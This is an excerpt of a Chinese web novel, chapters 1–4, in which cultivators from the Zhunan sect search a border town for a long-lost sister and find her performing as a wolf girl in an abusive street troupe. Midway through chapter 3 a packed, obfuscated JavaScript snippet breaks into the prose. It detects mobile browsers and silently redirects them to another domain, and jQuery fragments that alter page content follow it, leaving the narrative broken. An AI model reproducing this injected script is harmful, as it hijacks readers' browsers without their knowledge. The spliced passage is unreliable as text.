《那狼女又把师兄咬了》 1. 01 晌午时分,县城门口,刘县令带着侍童站在路边。 此地靠近钟山,开春后暖风暖雨到得早,放眼望去已是一片桃红柳绿之景。 然而刘县令心事重重,根本无暇欣赏眼前的春色。他见侍童还在抬头张望,忍不住喊。 “别往天上看,人家是骑马来的。” 侍童讶然:“仙人们不会飞么?” 这座县城里生活的都是平民百姓,从未亲眼见过修道者移山填海,只知道开了丹田的人都要上钟山,入宗门,修道飞升。 既已飞升,为何还不会飞? “出了钟山就是凡人的地界,不能乱用灵息,否则天下早该大乱了。” 侍童点点头,突然想起下午在县城街口有杂耍表演,听说那个舞烛龙的能飞檐走壁,不知道山上的仙人们可曾见过真的烛龙? 他朝刘县令看了一眼,立刻识趣地闭上嘴。 早春二月,自家大人的额角却在冒冷汗,可见心情并不美妙,此时不宜惹他心烦。 何止不美妙,刘县令愁得头发都要白了。 三天前,烛南宗传来密讯,要他在县城里暗中搜寻一名女子。 密讯里说,那女子年近十六,无父无母,颈侧有红色胎记,约莫半寸长,上尖下圆,颜色外浅内深,形状好似传说中烛龙所衔的烛焰。 正如千年来谁也没见过烛龙,刘县令照着烛南宗给的图样找遍县城,根本没见到什么烛焰。 现在烛南宗的人就要到了,下属找来顶差的孤儿有七八个,没有一个符合条件。 刘县令迎着风抬手擦汗,在心中默默安慰自己。 尽人事听天命,能找的他都找过了。想必是烛南宗绘制的图样过分夸张,胎记又不是刺青,全天下谁身上能长出这么标致的图案? - 江玄肃掀起帏帽上的素纱,顺着流淌的溪水眺望远方。 转头时,颈侧拉出利落的线条,一枚绯红的胎记长在上面,格外显眼。 半寸长,上尖下圆,颜色外浅内深,形状像是烛龙所衔的烛焰。 溪边,一对青年男女正在饮马。 他们入门比江玄肃晚,却略长他几岁,眉眼极为相似,一看便知是龙凤胎。 此时两人都望着他,神情戏谑。 女子说:“小师兄养性的功夫快赶上师傅了,马上就要见到日思夜想的人,竟还能做到面不改色。” “那是你不够了解小师兄。这次下山,穷山恶水刁民都让他见识过了,你可曾见他皱过一下眉毛?”男子口无遮拦,见姐姐瞪向自己,故作无辜地耸肩,“看我干什么,你我不也是从这种地方出来的人,自称一句刁民,有何不可?” “你这叫刁徒。师傅的话忘了?出门在外谨言慎行,不要招惹是非。” 二人说着便开始拌嘴,反倒把江玄肃晾在一边。 江玄肃笑而不语,没去劝架。 宗门里讲究长幼有序,这种拌嘴持续不久,年长的那个只需抬出门规,吵架就会变成单方面的训斥。 果然,没吵几句,动静逐渐小下去,再响起时变成男子的哀嚎:“小师兄,你看她!以后你可千万不能这么对你妹妹。” 提到那个人,江玄肃脸上的笑容慢慢地收起来。 他走神了。 门规自然是要遵守的,不过…… 找到妹妹之后,过去十六年亏欠她的,唯有尽力弥补,他又怎么舍得与她拌嘴? 哪怕她再顽劣,也是因为从小在乡野长大,没有人教她礼仪规矩。只要耐心引导教育,妹妹不会不听,他又何必摆兄长的架子,用门规来压她? 也不知她现在过得怎么样,此行下山遇到不少蛮横凶恶之人,她有没有受过他们的欺负? 见江玄肃不说话,姐弟二人噤声,凑在一起悄悄观察他的脸色。 远处的树荫下,少年郎穿着窄袖白袍,身姿笔挺,像是背上有一把无形的剑时时刻刻抻着他的脊骨,从小到大,没人见过他卑躬屈膝的样子。 脸是眉目如画的一张脸,刚下山时能把路边小儿看痴,拽着母亲的袖子说“有妖精”。 神情却像被滤过几道的茶水,克制而浅淡。师傅教诲他七情六欲不宜上脸,这几年已颇有成效,两位同门凝神细看,终于捕捉到他眉眼中的愁绪。 二人对视,松了口气。 瞧,果然还是少年人,遇上这么大的事,怎么可能不发愁? 下山时他们打过赌,此行匆忙,却事关重大,小师兄又是第一次离开宗门,总要找机会发泄情绪,必定会在半路破功。 没想到三天过去,赶路时风尘仆仆,不见江玄肃喊累,歇脚的旅店环境简陋,不见他嫌脏,旅店里嚼舌根的莽夫看他颈上胎记颜色如血,言语粗鄙地说他身带不祥之兆,他也不动怒。 等到离开旅店,那几个没见识的莽夫跟上来,把师徒四人当成寻常富户打劫,又被师傅一击吓破了胆,屁滚尿流地逃走。 场面之荒唐滑稽,让姐弟二人都笑弯了腰,小师兄却只略微扬了扬嘴角,要知道他才十六岁,师傅已年过不惑,连师傅的表情都比他灿烂。 从那之后,小师兄开始戴着帏帽赶路,有素纱挡住脸和胎记,寻常百姓总算不再投来惊诧的目光,这是好处,坏处是同行的伙伴也猜不透他的心绪了。 物极必反,蓄极则泄,起初他们只是觉得小师兄破功的样子罕见,想看热闹,到后来却开始担心江玄肃憋出毛病,又或者一朝爆发,急火攻心反噬自身。 一时间,四下无言,只剩溪水潺潺,姐弟两人默不作声地打眉眼官司。 做弟弟的摇头叹气,背起手绷住脸,学着江玄肃那副少年老成的样子。 做姐姐的竖眉瞪去,见他越发嚣张,索性撩起溪水泼向他,弟弟不忿,立刻反击。 四人的马就在一旁饮水,水花飞溅,马儿一路跑来本就烦累,此时不堪其扰,突然打着响鼻往水深处淌。 江玄肃的马走在最前面,马背上挂着鞍袋,里面装着一个巴掌大的木盒,每晚睡前他都会将其取出,十分珍惜地放在枕边,却从不打开它。 两位同门好奇发问,他只说是给妹妹的见面礼,却不说盒里装的什么。 此刻,那鞍袋随着马匹的动作往下滑,被湍急的溪水冲开系绳,一时间摇摇欲坠。 江玄肃率先察觉,立刻动身,离开钟山后不能运用灵息,拔足狂奔也无法及时赶到,他只得扬声喊:“邵师弟邵师妹,拉住马!” 情况本就紧急,偏偏他恪守礼法,托人帮忙也要先规规矩矩叫出称谓,一句话说完,马匹都快走到溪流中央了。 邵知武离得近,想淌水去抓缰绳,马最烦的就是他,甩着尾巴朝一旁躲避,溅起更多水花。 邵忆文“吁吁”地出声呼唤,其它的马总算站住,江玄肃那匹却充耳不闻。 眼看鞍袋要被冲落入水,忽然听得远方的高处传来呼哨声,哨音悠远绵长,惊起山间飞鸟。 马儿咴咴应和,终于不再闹脾气,听话地退回岸边。 溪流对岸,山坡陡斜,一白袍男子负手站在坡顶的巨石上,确认马匹安分了,脚下轻轻一点,朝山下跃身而去。 钟山上的修士开了丹田,经脉受过灵息的涤荡洗刷,即便在凡界不能动用灵息,身手也远超凡人。此人又是烛南宗长老,功力深厚,虽行在山间却如履平地。 树木低矮,山石嶙峋,全都变成任他取用的落脚点,白色袖袍飘然翻飞,一起一落,再起再落,转眼就到了他们面前。 江玄肃一路奔到溪边,轻手轻脚解下鞍袋抱在怀里,确认里面的木盒没有进水,这才气息未定地喊:“师傅。” 邵家姐弟也跟着叫师傅,身为惹恼群马的罪魁祸首,两人都垂手肃立,说话声音极小。 白袍男子没有停留,径直去牵马,四匹马从小受他驯养,此行匆忙,来不及让它们熟悉外人,忍到现在才闹别扭,已经极为不易。 等安抚了马儿,他才回头叮嘱:“绕过这座山头,再往前二十里就是平安县。夜长梦多,接到人以后立刻动身回宗门,不要再打闹生事,以免 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可是邵忆文始终忘不掉一个细节。 那天他们去江玄肃的住处报告此事,不见他多说什么。 直到临走前她似有所感,回头看了一眼。 江玄肃正站在院中的玉兰树下,望着演武场的方向出神。 当时他也是这样笑的。 她至今没敢细想小师兄到底在笑什么。 邵忆文自幼父母双亡,和弟弟在凡界相依为命长大,见过人情冷暖,很早就明白了一条道理。 记仇的人,很可怕。 “都是同门,何必这样多礼……走吧,别让师傅久等。” 耳旁响起江玄肃温润的声音,邵忆文抬头,看到他微微侧身,没有受全这一礼。 他脸上的微笑早已收起,因为不习惯受到年长者隆重的礼拜,一时间连客套话都顾不上说,只想让二人赶快起身。 小师兄重礼数,礼数做足了,气也消得干净。 邵忆文捕捉到他眼中的无措,知道事情算是揭过了,朝他笑笑,和邵知武去牵马。 邵知武不再被姐姐揪着后脖颈,这才出声:“小师兄说得对,别让师傅久等,也不要让那位小师妹久等。鞍袋里的宝贝护了一路,须得送到人家手中才算安心,快走快走。” 江玄肃闻言,不由晃神。 耳边是风吹山林沙沙作响,身侧有溪流水声淙琤,他驻足在原地。 期盼一路,相认的时刻终于来临,他竟有些近乡情怯。 自从下了钟山,他们一路骑马疾驰,所到之地逐渐偏远,道路两旁的城镇风貌也越来越落后。 事到如今,江玄肃脑海中与妹妹相认的情景早已发生了翻天覆地的变化。 若要形容,大概是——偏远的县城,破旧的家,容颜沧桑的养父母,面黄肌瘦的她。 两人执手相看,眉眼一定极为相似。兄妹相认,自然要拜,但他会及时扶起,不让她膝盖沾地,多受一份委屈。若她抽泣,他会给她递帕子擦泪。 之后该怎么做? 师傅叮嘱,相认后要立刻动身,也不知妹妹在凡界过了十六年,能否承受路途的奔波劳累。 更不知回程路上是否有更多危险在暗中埋伏。 ……毕竟他们这次下山寻人,为的是“那件事”,来时一路上却出乎意料地顺利,除了遇见那伙不成器的劫匪,堪称风平浪静。 那伙劫匪真的只是偶然出现吗?回去的路上,又将遭遇什么? 这些事,该不该和妹妹说? 江玄肃越想越多,心事重重地把鞍袋系回马背上。 刚绑紧绳结,辔头上的挂饰突然断了。 玉环坠落在地,摔成两半,他脸上闪过一瞬的愣怔。 之前是滑落的鞍袋,现在又是断裂的玉环。 这可不是什么好兆头。 2. 02 “寻人不易,刘大人这几日辛苦了,一切还顺利吗?” “梁长老言重,既然是烛南宗的嘱托,下官自当竭尽心力。” “那位姑娘现在过得如何?她有养父养母吗?有没有兄弟姐妹?” “她家里做什么营生的?可有人教她读书写字,习武练功?” “这……咳咳,人就在府衙,有什么问题,当面问便是。” 平安县内,刘县令带领江玄肃一行走在街道上,殚精竭虑地应付着他们的问题。 当地百姓鲜少见到高壮的骏马,为了不引人注目,江玄肃一行入城时将马匹安放于城门口的马厩,连行李也由侍童一并拿去寄存。 此刻,其余三人都空着手,只有江玄肃仍捧着他那个宝贝木盒。 边陲县城,没有官员出行就清场的规矩,路上百姓来往如常,偶尔有目光投向这四个气质非凡的外乡人,也不多做停留。 营生不易,饭碗要紧,不是足够稀罕的事,不值得放下手中活计凑热闹。 离县衙越近,刘县令的笑容就越勉强,身侧那位梁长老每说一句话,他都想抬手擦汗。 更别提后面还跟着那个戴帏帽的小郎君,如果不是他,自己也不会这么快就乱了阵脚,好歹能敷衍到进县衙之后。 在刚见面时,他为向长者行礼致意,摘掉了帏帽。 颈侧的胎记红得刺目,刘县令一眼望去,差点合不拢下巴。 苍天在上,烛龙有眼,世上真的有人能长出那么标致的胎记。 从烛南宗的密讯来看,这样的人还有两个。 他上哪里找这第二个人啊! 领头那位年长的修士给他看过宗门玉牌,说他是烛南宗长老,名叫梁继寒,取梅花的寓意,君子如梅,百花凋零时继寒香而绽。 刘县令暗中打量这个梁长老,的确面相和气,言行有君子之风,不像一些小宗门出来的修士,仗着筋骨奇异就气焰嚣张,对凡人动辄打骂。 皮肉之苦是不担心了,办差不力的罪名却逃不掉,一旦烛南宗责怪下来,他的乌纱帽只怕不保。 苦也,冤也,他真的尽力找过了,实在是掘地三尺也找不到那位姑娘,能有什么办法! 刘县令表情难堪,烛南宗四人进城后看在眼里,心如明镜,很快推出真相。 人没找到。 梁继寒在前面和刘县令并肩同行,想的是该如何对宗门交代,又担心发生更坏的情况——这一路上畅行无阻,莫非是因为有人率先发现那孩子,索性越过他们,直接对她下手了? 邵家姐弟跟在后面,不约而同去瞟江玄肃。 可惜他戴着帏帽,步子也迈得极稳,根本辨不出喜怒,只是托着木盒的手扣得很紧,因为用力,指节都泛白。 上面甚至有一道血痕,也不知什么时候弄的。 两人对视,在彼此眼中看到同样的担忧。 小师兄要失望了。 他们一路上都在赌江玄肃何时破功,却从未希望赌约以这种方式应验。 越往县城里走,一行人越沉默,各自怀着心事,惦记的却都是同一个人。 快到街口时,刘县令听到头顶有动静,抬头看去。 这里是平安县最繁华的一条街,道路两侧都是商铺,掌柜们为了招揽生意,在楼上支出横竿挂起布幌。 风吹来时,布料猎猎作响,引人注目。 在这大大小小颜色鲜艳的布幌中,有一块布绣着烛龙的纹样。 刘县令知道,再拖也只能拖到进县衙的时候,此刻没了别的主意,盯着那迎风招展的烛龙,唯有祈祷。 护佑众生的烛龙啊,您老人家发发慈悲,把那位身带胎记的姑娘送到我们身边。 这么小的一座县城,要找这样显眼的一个人,怎么就这么难呢? “铛铛!” 耳旁突然响起锣鼓声,惊得刘县令睁开眼。 众人驻足看去,街口人头攒动,围成一圈。 穿过层层人群,隐约可见杂耍班子的彩色招旗。 一个老太太中气十足地吆喝着:“杂耍!把戏!来看双生剑刺无启兽,看烛龙飞天舞!侏儒打大鼓,狼女爬高杆!还有价值百两的黄金环,身手好的来试试,抓中了送你,货真价实,童叟无欺!” 脚步声、叫喊声、孩童的尖笑声,密集的鼓点托底,响亮的锣声醒神。看杂耍的百姓蜂拥而来,从江玄肃一行身边越过,朝街口奔去。整条街随之沸腾,放眼望去乱成一片。 邵家姐弟在凡界时见过杂耍,也曾趁着人们聚集看戏跑去行乞,对此见怪不怪。 两人更关心江玄肃的反应,一起转头看他,才发现小师兄不知何时退到了街边店铺的屋檐下,手里仍护着那木盒,提防被人磕碰到。 这是他第一次离开钟山走近凡界百姓的生活,也是第一次见到街头杂耍。 少年人总会对没见过的新鲜玩意好奇,此时此刻,他却连头都没朝街口的方向转。 邵知武见小师兄失落至此,长长地叹口气,刚想对姐姐说些什么,突然看到江玄肃逆着潮水般的人群窜出去。 上一次见他身形如此迅捷,还是为了抢救快要落水的鞍袋。 江玄肃帏帽上的素纱随着他的动作飘起,失去遮挡后,视野里的一切都变得更清晰。 不过一呼一吸之间,他穿行到街道对面,拦在一个女子面前。 对方猛地抬头,四目相对。 枯黄而凌乱的头发,松松地绑成髻,仍有不少垂下堆在两肩,像一团捆扎不齐的杂草。 浓眉长睫,三白眼的瞳仁略小,哪怕看过来时神情镇静,也给人一种被瞪视的错觉。 然而那眼神并非凶恶之徒虚张声势的恐吓。 反倒像某种野生的兽类 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可惜凡界无法动用灵息,又或是他有所牵挂,心境不稳,仓促间,还是被割伤手指。 一抹血红渗入翠玉金黄中,无法抹去,倒像给这金镶玉的圆环增添一个独特的标识。 多亏如此,江玄肃才能在街上的人潮中一眼发现它。 他拼合玉环以后,就将它挂回到马儿的辔头上,现在它出现在这女子手中,说明她刚从马厩出来。 城门口到这条街路途不短,她的腿脚倒快……也许在他们刚进城的时候,她就盯上它了。 奇怪,师傅的马从不让生人靠近,她却能得手。有这功力悄无声息偷走一枚玉环,为什么不去偷寄存的行囊?那里面的东西不是更值钱吗? 江玄肃心中念头如电般转过,还欲多问,眼前女子忽然动了。 被他攥住的那只手猛地张开五指,把玉环往半空抛。 这玉环碎一次已足够搅乱心情,他可不想看它再摔一回。 江玄肃另一只手还捧着木盒,要想捞过玉环,只能松开对方。 放手的瞬间,她闪身离去,嘴里吐出一句简短的当地方言,口音却不像本地人。 话音刚落,人已在几步开外。 动作之快,掀起一阵风,颈侧的头发随之飘起。 江玄肃接住玉环,视线仍跟随于她,忽然整个人僵立在原地动弹不得,只剩一双眼睛移动着,牢牢锁定那个穿梭在人群中的身影。 他脑袋里“嗡”一声响。 身旁,看热闹的孩童在哧哧笑话他。 “她骂你是瞎子呢!” 可惜他双目清明,没有错过她颈侧显露的胎记。 色泽绯红,随她飘舞的发丝忽隐忽现,如同烛龙所衔的烛焰,在风中燃烧。 3. 03 又要挨打了。 阿柳越跑越快,心里只剩这一个念头。 人头攒动,高高低低的肩膀,大大小小的脚。 气味混杂,酸臭的汗味,鞋底的泥土味,酒味肉味油味烟味,黏腻浑浊。 一缕特殊的味道混在里面,时远时近,闻起来像溪水涤荡过的树叶,清香、微苦。 因为它的存在,阿柳不回头也知道那人一直在追自己。 前方的锣鼓声越来越响,人群围成一圈,阿柳看准其中的缝隙,像另外一片树叶,轻盈地穿过去。 视野陡然开阔。 空地中央,两个侏儒各自脚踩一面大鼓跳跃起舞,在飞身腾空后用手中木槌敲击鼓面。 一个包头巾的健硕老妪正在敲锣,她嘴上声情并茂地念着戏词,双眼却捕捉到那个突然冒出的身影,猛地睁大。 “……钟山一脉群峰连绵,无启兽一路跑,一路杀,沿途驻扎的修士,当地的百姓,没留一个活口。哪怕它吃饱了,还要抓住幸存的人虐杀取乐。直到……站住!直……直到一千年前,烛龙显灵,托梦给两位老祖……” 阿柳假装没听见项姥姥的吆喝,飞掠过空地,从人围的另一端窜出,爬上摆在墙角、足足两层楼高的竹竿架,一路攀到顶端。 随后双腿勾住竿身坐稳,不再挪动。 高处有风,吹动她一头乱发。 她垂眼看去,那个白色的身影站在人围另一端的最外侧,虽然没有离开,却也不见继续靠近。 角落安静,项姥姥分身乏术,之前的追兵也偃旗息鼓,阿柳终于松了口气。 她稳住心神,掰着指头开始生疏地算数。 上午擅自离开,要挨项姥姥一顿打。 再加上弄丢东西,一共要挨她两顿打。 弄丢的是金环,还得额外打一顿,这就是三顿。 刚才那人不追了,不用挨他的打,减一顿。 加在一起……嗯,两顿打。 阿柳松开手指,摸摸肚子。 哼,她每天连饭都只能吃两顿,险些挨打比吃饭还多。 又想到,项姥姥平时打她是用鞭子,这次丢了金环,只怕要用铁棍。 她刚下山的时候也弄丢过一次金环,差点被项姥姥打死。 六年过去,她的皮肉变得更结实,个子也窜高不少。然而,每当她回忆起那天,那股被捆得动弹不得、骨头错位、口鼻里灌满血的窒息感依旧让她胆寒。 阿柳甩了甩头,心里烦躁无处发泄,叼起一根绑竹竿用的细麻绳磨牙。 就因为这个动作,底下传来几声嗤笑,不远处有人斜睨着她:“好脏,她怎么像狗一样。” 阿柳冷冷地垂眼看去,记住说话那人嘴角有一个痦子。 等会儿轮到她上场,定要好好吓一吓他,让他看清楚她到底是不是狗。 “……两位老祖携手作伴,前往钟山深处,终于顺着烛龙指引找到它的护心鳞,将它铸成一对双生剑。就在这时,山摇地动,恶兽咆哮,那无启兽有所感应,循着烛龙的灵息一路找来了!危急关头,她们姐妹同心,手持双生剑和它缠斗……” 场上,戏词已经说完,鼓声越来越响。 侏儒身后,一个眼睛绑白布的瞎子开始拉琴,又有一个背上长瘤的大块头身披彩衣冲进空地里,与两名侏儒有模有样地打起来。 一时间,人影晃动,喝彩不断。 项姥姥把锣槌丢开,从袖子里抽出扎成捆的长鞭,拨开人群朝角落的竹竿架走。 阿柳还在上面吹风。 她屈着一条腿,下巴搭在膝盖上,不时朝远处瞥一眼,又飞快地收回视线。 那个戴瞎子白布的人还没走,正站在原地和同伴说话。 离得远,底下乱哄哄吵成一团,她又不在下风口,听不清他在说什么。 但阿柳很快注意到,他的同伴正在朝她的方向看。 她皱了皱鼻子。 小心眼,东西都还给他了,还不肯罢休。 他半路杀出捏她手腕时她就注意到此人身手不凡,不宜正面较量。 一个都不好对付,现在又来三个。 于是在心里计数,也许等会要先挨他们一顿打。 那就是……二加一,三顿。 啧,她这两天下来,饭都没吃够三顿。 算完数,阿柳又忍不住腹诽。 这人不光小心眼,还很狡猾,明明就没瞎,居然学瞎子戴白布迷惑别人。 刚才对上视线的时候,他那双眼睛清凌凌的,吓她一跳。 正想着那双好看的眼睛,身下竹竿突然颤动。 阿柳低头,见是项姥姥在拿长鞭的握柄敲击竿身,一时间什么想法都没了。 躲得过初一,躲不过十五。 她慢吞吞地抓着脚踏爬下竹竿。 站稳后,掌心传来火辣辣的灼烧感,阿柳拍拍手,凑到项姥姥身边。 老妪锐利的眼睛盯着她,低声问。 “上午去哪里了?” 阿柳抬头看天。 “金环呢?你拿走了?” 阿柳低头看地。 项姥姥见她如此,有了猜测,冷笑一声。 “什么时候弄丢的?” “没丢。” 阿柳语气生硬,手往怀里掏,扯开外衣的衣襟,抽出一个金色的圆环。 附近不时有人经过,人多眼杂,项姥姥没有接过圆环,只细看了一眼,见它光泽不对,而阿柳的虎口上多了几个新鲜的水泡,一身衣服也不知在哪里蹭得满是油灰,顿时了然。 “学聪明了,拿铁环刷金漆糊弄我?知道偷铁环,不知道热铁不能摸?”她声音压得很低,说着说着,骂了句极粗俗的脏话,“怎么没把你烫死。” 阿柳听力很好,这么近的距离,哪怕用气声骂人她也能听清。眼见说谎被拆穿,她也不见羞愧,瞪着眼睛面不改色挨骂,决定暂时不告诉项姥姥自己还惹了另一个大麻烦。 想到那人,她又开始惋惜被抢回去的镶金玉环。 可惜了。 如果能把它带回来,说不定一顿打都不用挨,晚上吃饭时项姥姥还会给她多加一只烧鸡。 阿柳再次揉揉肚子。 为了寻找替代品,她一上午都没吃东西,在县城里到处游荡,最后才在铁匠铺找到大小合适的铁环。 她去拿的时候,甚至来不及等那铁环完全晾凉,烫她一手水泡。 手掌还在疼,阿柳忍不住搓指尖,脑门却被项姥姥不轻不重地敲了一下。 “白眼狼!吃那么多饭,连个东西都看不住。等着,演完再和你算账。” 说完便走开了。 场上,侏儒和驼子已分出胜负,瞎子放下琴弓抬手擦汗,围观者纷纷喝彩,正在往他们身上抛铜板。 下一个上场的是阿柳。 她重新爬回到竹竿架顶端,望着项姥姥在场上讨赏钱的背影,从怀里掏出一叠红绸。 一边将它缠在圆环上,一边在心里做起另一道算术题。 杂耍班子里还剩那两个矮子不肯听她的话,项姥姥的把式她还有三样没学精通,南边的县城村庄还有四五座没去过。 等她当上所有人的老大,走熟这一带的村县,把项姥姥的手艺学完…… 阿柳居高临下地望着那老妪的脖子。 和许多动物一样,这一处是人身上最脆弱的位置。 头发蓬乱的少女眯起眼睛,把圆环在手里拍了拍,想象她到时候的威风,心情很好地哼了一声。 - 项姥姥在场中踱步:“矮子驼子瞎子,你们都认识,从钟山来的狼女,有谁之前见过?接下来这个舞烛龙,只我一家有。各位瞧好了!” 不少围观者见过那个横穿场中的身影,连忙转头,想指认在角落的竹竿架上拿细麻绳磨牙的少女。 这一眼看去,却都愣住了。 那里竟空无一人。 竹竿架下方的不远处,惊走狼女的四人停下脚步,每个人脸上的表情都极为精彩。 邵知武干笑:“小师兄,你妹妹真是……” 邵忆文拿胳膊肘捅他:“身手敏捷,警惕性强,堪当司剑之位。” 梁继寒沉吟:“凡界每年都会给开启丹田者画像造册,呈报钟山。她有这般身手,不像丹田未开的人,为什么我们没能在册子里找到她?” 只有江玄肃没说话,素纱之下一双眼看着与围观众人相反的方向,想追上去,又怕她再次跑远,彻底消失在他视野中。 场上,项姥姥目光扑了个空,心里也是一惊。 难不成当年打她太狠,狼丫头记仇,这次怕再挨一顿,真的跑了? 人群骚动,围观者窃窃私语,四处张望。 有人喝倒彩,也有人看不到节目,抬腿要走。 突然,远处遥遥传来一声悠长、凄厉的嗥叫。 声音持续许久,穿透力极强,闻者无不毛骨悚然。 整个街口一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316086|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间陷入死寂。 平安县靠山,每年都有人去山上砍柴,然后再也回不来,祖辈的教训刻在骨子里,世世代代传下去,已经变成人的本能。 听到这个声音就要跑,不然会死。 是狼。 早春二月,冷风料峭,吹动沿街商铺的布幌,那狼嗥声消失以后,寂静之下,只剩布料还在哗啦作响。 随后,看到一个轻巧的身影出现在声音响起的方位,在翻飞的彩布中起伏,踩着一支支晾布幌的竹竿由远及近。 少女口中衔着金色的圆环,环上缠着红色的长绸缎,拖在金环外的部分随着她动作在风中招展,拂过她脸颊,和她头发一同飞舞。 踩过最后一支竹竿后,她跃至空中。 金环映着日光,红绸如腾跃逶迤的拖尾,而她的颈侧,绯红的胎记形如烛焰。 一眼看去,仿佛那条传说中衔烛而来,盘踞钟山庇护苍生的神龙。 阿柳在半空中俯视众人,目光扫过一张张仰起的面孔。 底下惊叹声一片,她心里却很平静。 这样的戏码,每到一地,都要上演。 身带血色胎记的狼女,走到哪里都有人用嫌恶提防的眼神看她,每次听见狼嗥,看热闹的人们都会惊惶失措,避之不及。 也还是她,每一次,当她演绎世人信仰、供奉的烛龙时,在她跃至半空的这一刻,他们会露出惊艳、憧憬的目光。 连那枚让她被许多算命师傅拦住,说她是灾星降世的胎记,也在这时成了吉兆。 明明她还是那个她,衔了个金环,挂了条红绸,他们的眼神就不一样了。 人真是一种奇怪的生灵。 少女翩然落在人群外围,围观众人神情恍惚,自觉让出一条路。 “这丫头叫阿柳,六年前我途经钟山山脚的猎户村,在山柳树下捡到了她。那时她正趴在一只白狼的尸体上啖食血肉。我唤她,她却听不懂人话,把她惹急了,还对我龇牙,我朝她嘴里一看,哎哟,满嘴的血!” 项姥姥站在场中,眉飞色舞地复述着讲过无数遍的故事。 众人终于回神,定睛一看,见那衔着金环的少女落地后如狼一般四肢着地行走,目露凶光,动作灵活,直直朝着他们冲来,顿时惊叫连连。 “但我却将她从猎户的手里救下,把她驯服,带她一同走南闯北,教她杂耍把式。大家放心,现在只要我在,她就不敢造次。” 围观者刚要四散跑开,却听那身材健硕的老妪谈笑风生,极有把握的样子,又看那少女虽气势唬人,却个子瘦小,五官四肢都和常人无异,终究不是山上尖牙利爪的野狼。 于是壮着胆子,站稳脚步,又都身子朝后倾,和她保持距离。 “诸位请看她口中所衔的圆环。此物由纯金打造,价值不菲。这几年来我每到一处卖艺杂耍,都会放出同样的话,谁的身手比这狼女还好,能抓住金环,就可将它带回家。可惜啊,六年了,我们在钟山脚下走遍大小村县,连能碰到那红绸的人都没有。” 这番话也是阿柳听过无数次的。 照惯例,她要在这时回到项姥姥的身边,高举金环给所有人展示。 不过,反正她是野性难驯的狼女,偶尔玩心大发在人群中多逗留片刻,也很正常,大不了结束后多挨一顿打。 今天已经攒了三顿,阿柳不在乎多挨几下。 她在人群外围跑动,红绸翻飞,有人试图上手去抓,都被她轻巧避开。 绕过半圈,终于找到那个脸上有痦子的男人。 说她是狗,奇耻大辱,不可不报。 她佯装要走,忽然掉头朝他冲过去,皱鼻龇牙,喉咙里发出一声短促的低嚎。 男人吓得惊叫出声,险些跌坐在地。 周围哄笑不断。 在混沌一片的笑声与浑浊不清的气味中,阿柳突然眨眨眼。 她又闻到了。 那股特别的、树木的苦香。 紧接着,阻力通过口中的圆环传导而来,绊住她的脚步。 红绸骤然绷直,远远看去如一条红线牵住两端的人,她被连带着拽得身形一晃。 周遭的笑声倏地停了。 阿柳半蹲在地,稳住重心,顺着力道传来的方向回头看去。 是那个戴帏帽的人。 白衣胜雪,身姿挺拔,一张脸被素纱挡住。 他站在几步开外,正攥着红绸的尾端。 指节用力,攥得非常、非常紧。 4. 04 不能松口,否则就输了。 阿柳死死咬住口中的圆环,已经来不及计算今天要挨多少顿打。 她瞪向红绸那端白色的身影。 又是他,坏了她的好事。 江玄肃迎着阿柳的目光,左手仍抱着木盒,右手则转动手腕,把红绸在手上多缠一圈。 不能松手,否则她还要跑。 绸缎绷得太紧,他甚至能感觉到红绸另一端传来细微的颤抖,带动滑腻的面料蹭着他的指骨与掌心。 隔着素纱,看不清她的眼睛,却能通过发颤的红绸感受她的情绪。 提防的、憎恶的、敌意的。 无论哪一种,都不该出现在骨肉相认的时刻。 江玄肃朝她走去。 刚迈出一步,阿柳就往后退开相同的距离,红绸再次绷紧。 两人僵持不下,旁边看热闹的人先不耐烦了。山间小城,百姓没什么忌讳,张口就说:“第一次见在街上拜天地的。” 凡界有拜堂成亲,修道界亦有结契典仪,习俗多有相似之处。 江玄肃在宗门里赴过前辈的喜宴,看过身穿喜服的男女手执红绸对望的场面。 结契时的红绸可不会绷得这么紧。 想法一出,他身体陡然僵住。 ……定是因为这几日变故太多,使他昏了头,竟然把眼下的场景与道侣结契放在一起做对比。 荒唐。 他是在认亲。 一股无端的热意涌上江玄肃的脸,不知是羞还是窘,所幸有帏帽遮挡,不会被旁人察觉。 这瞬间的停顿却准确传递到红绸那端。 阿柳不懂江玄肃为何突然露了破绽,却很愿意学习制敌的招数,她趁机抬手抓紧圆环,一张嘴终于空出来。 “拜天地?” “就是入洞房之前要做的事。” 什么房? 阿柳没来得及发问,红绸那端又是一抖,拉扯的力道传来,想把她拽离口出狂言的镇民。 眼见一场角力又要开启,刘县令终于带着增援的衙役们姗姗来迟。 “散了,都散了!” 清场的催促声不断,百姓没了好戏看,悻悻四散。 邵家姐弟拦过项姥姥,赔上一笔辛苦费说明事由。 梁继寒则守在阿柳身后不远处,防止她再次窜得无影无踪。 阿柳却仍如犬狼般蹲踞在原处,并拢胳膊撑地,用身体重量压住圆环,。 她先是侧头张望,见项姥姥对着金锭笑眯了眼,知道今天能提前收工,说不定还能免去几顿打,终于放松了些,又去看那个拽她红绸的烦人家伙。 她不跑,江玄肃也站着不动。 阿柳绷着一根弦提防他出手,却见他沉默许久,忽然唤她名字。 “阿柳?” 从未有人用这种语气唤她。 像吃饱以后在春天的草地上晒太阳,日光和煦地将她包裹,身下的嫩草蹭过皮肤,痒意一路往心里钻。 阿柳一呆,忽然甩甩头,扑散那股萦绕鼻端、若有似无的树叶苦香。 不能松懈。 刚才他讨回玉环时,用的可不是这副语气。 山林中的猎户总在陷阱里放美味的肉块吸引猎物。 下山六年,阿柳早就意识到人间的陷阱花样更多。 阿柳不再看他,低头数地上的小石子。 拉扯的力道却在这时一松,她忍不住微微抬眼,偷看对方的动静。 那人竟分膝蹲下了,试图与她平齐视线,却仍不撩开那块碍事的白布,让她再看一看他的眼睛。 “我们来接你回家。你可知道我是谁?” 声音里一片殷殷之情,还故意留个话头,等她心生好奇反问回去。 阿柳听到“家”这个字,睫毛抖了抖,重新垂下眼睛。 